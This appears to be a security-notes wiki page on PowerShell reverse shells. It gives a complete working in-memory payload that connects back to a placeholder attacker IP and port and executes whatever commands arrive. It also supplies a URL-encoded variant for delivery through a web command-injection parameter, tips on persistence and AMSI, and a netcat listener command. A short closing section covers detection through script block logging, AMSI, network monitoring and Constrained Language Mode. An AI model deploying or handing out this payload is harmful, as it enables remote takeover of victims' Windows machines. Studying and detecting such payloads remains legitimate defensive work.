PowerShell Reverse Shell
A reverse shell is a command shell that initiates an outbound connection from the target back to the attacker’s listener, bypassing inbound firewall rules. A pure PowerShell reverse shell avoids dropping binaries to disk — the entire payload runs in memory via powershell -c.
MITRE ATT&CK maps reverse shells to T1059 (Command and Scripting Interpreter) for execution and T1071 (Application Layer Protocol) for the C2 channel. 1[raw/articles/mitre-attack-t1071.md]
The payload
$client = New-Object System.Net.Sockets.TCPClient('<IP>', <PORT>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | %{0};
while (( $i = $stream.Read($bytes, 0, $bytes.Length) ) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = ( iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ( [text.encoding]::ASCII ).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length);
$stream.Flush()
}
$client.Close()Replace <IP> and <PORT> with the attacker’s listener address. 2
URL-encoded delivery
For injection via a web request parameter (e.g., PHP system() call), URL-encode the entire command:
powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%20%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22
Operational quirks
- No initial prompt — the shell sends nothing until the first command is entered. Type a command (
whoami) to confirm connectivity. - Persistence — because the shell runs inside the PowerShell process, it survives even if the triggering web script (e.g., PHP) times out. The TCP connection stays open.
- AMSI — this payload will be caught by AMSI unless it’s bypassed first. Even a simple
IEXdownload cradle triggers AMSI scanning.
Attacker listener
nc -lvnp <PORT>For a fully interactive TTY, upgrade the shell after catching it — see shell-stabilization.
Defense
- Script block logging (event 4104 in
Microsoft-Windows-PowerShell/Operational) captures the full payload before it executes — see windows-event-logs > notable-event-ids - AMSI scans PowerShell content before execution; bypassing requires specific techniques
- Network monitoring — outbound TCP connections from PowerShell to unusual ports/IPs are high-fidelity alerts
- Constrained Language Mode via WDAC/AppLocker limits .NET interaction and reflective code execution
Sources
- Reverse Shell Cheat Sheet — PayloadsAllTheThings / InternalAllTheThings
- Command and Scripting Interpreter: PowerShell
- Command and Scripting Interpreter — MITRE ATT&CK T1059
- Application Layer Protocol — MITRE ATT&CK T1071
- 2022 — rootsecdev on Twitter: PowerShell reverse shell (Wayback Machine)
- MITRE ATT&CK T1059 — Command and Scripting Interpreter — live link
- MITRE ATT&CK T1071 — Application Layer Protocol — live link
Related: amsi-bypass, windows-event-logs, windows-reconnaissance-commands, sqlmap